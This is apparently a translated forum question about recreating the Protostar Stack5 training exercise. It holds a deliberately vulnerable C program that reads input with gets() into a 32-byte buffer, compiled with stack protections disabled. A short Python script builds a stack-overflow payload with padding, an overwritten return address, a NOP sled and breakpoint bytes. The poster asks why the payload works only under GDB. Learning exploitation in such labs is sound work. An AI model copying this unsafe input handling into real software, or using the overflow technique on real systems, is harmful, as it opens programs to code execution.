Привет, ребята, я хочу создать подобный файл, как Stack5 в protostar
Единственная проблема заключается в том, что когда я выполняю шелл-код или просто \ xCC, он работает только в GDB.
Исходный код
#include<stdlib.h>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
int main(int argc, char ** argv)
{
char container[32];
gets(container);
}
команда, используемая для сборки исполняемого файла
gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -g binary1.c -o binary1
например прерывание \ x90
import struct
pad="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
eip=struct.pack("I",0xffffd6a0+4)
payload="\x90"*12+"\xCC"*4+"\x90"*12
print pad+eip+payload
все результаты, которые я получаю, являются только ошибкой сегментации (дамп)
Изображение здесь для демонстрации Изображение для сравнения